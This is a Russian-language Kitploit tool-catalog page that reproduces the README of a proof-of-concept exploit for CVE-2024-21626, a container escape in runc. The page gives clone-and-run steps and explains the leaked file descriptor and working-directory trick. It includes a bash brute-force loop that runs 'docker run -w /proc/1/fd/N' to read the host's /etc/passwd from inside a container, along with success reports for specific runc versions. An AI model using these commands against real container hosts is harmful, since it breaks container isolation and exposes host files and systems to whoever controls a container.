Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21626 — Эксплойт proof-of-concept для CVE-2024-21626 — выход из контейнера runc через утечку файловых дескрипторов и манипуляцию process.cwd, обеспечивающий доступ к файловой системе хоста. | Kitploit
Инструменты/GitHubGitHub/cdxiaodong/cve-2024-21626
Безопасность контейнеровАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеБезопасность облачных средПобег из Контейнера
GitHubcdxiaodong/cve-2024-21626

CVE-2024-21626

Эксплойт proof-of-concept для CVE-2024-21626 — выход из контейнера runc через утечку файловых дескрипторов и манипуляцию process.cwd, обеспечивающий доступ к файловой системе хоста.

Репозиторий
5142 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплуатация:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

Проверка: если получен /etc/passwd хоста, значит уязвимость присутствует.

Окружение: runc: >=v1.0.0-rc93,<=1.1.11

Принцип и детали атаки:

В затронутых версиях runc во время инициализации происходит утечка некоторых внутренних файловых дескрипторов, включая дескриптор /sys/fs/cgroup хоста, при этом runc не проверяет, находится ли конечная рабочая директория в mount namespace контейнера. Атакующий может изменить конфигурацию process.cwd на /proc/self/fd/7 или заменить конкретный путь, переданный в параметре --cwd при вызове runc exec на хосте, символической ссылкой на /proc/self/fd/7/, что позволяет процессам внутри контейнера получать доступ к файловой системе хоста и управлять ею, обходя механизм изоляции контейнера.

Подробнее (gif-изображение):

  1. Атакующий использует самодельный пакет docker-poc для эксплуатации CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io)
  2. Этот docker-image пока не открыт в публичном доступе, 20240201 img_v3_027l_c9651fc0-e6db-4524-9363-1e12fca4f8dg
  3. Логика изменений в официальном исходном коде: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
  4. Runc подвержен прорыву контейнера через уловку Process.CWD и утечку FDS · CVE-2024-21626 · База данных рекомендаций GitHub

CVE: CVE - CVE-2024-21626 (mitre.org) Исследователь, обнаруживший эту уязвимость: CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io) image

Фактический fd может меняться в зависимости от порядка открытия файлов. Для перебора можно использовать следующий скрипт:

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Локальный тест успешен: fd/9 сработал: runc-version: 1.1.10 1.1.2 image

При runc --version 1.0.0: image

При runc --version 1.1.4 fd/8 сработал: image

Дыра появилась только сегодня. Ниже расскажу подробнее.

Воспроизвести можно следующими способами:

  1. runc - input: ручная компиляция с точками останова
  2. ebpf: прослушивание runc и установка точек останова
  3. runc create demo runc exec demo ls /proc/1/fd -a — можно сразу увидеть соответствующие символические ссылки
  4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd — перебор

todo: Получение df через точки останова в runc для автоматизации.

Скачать инструмент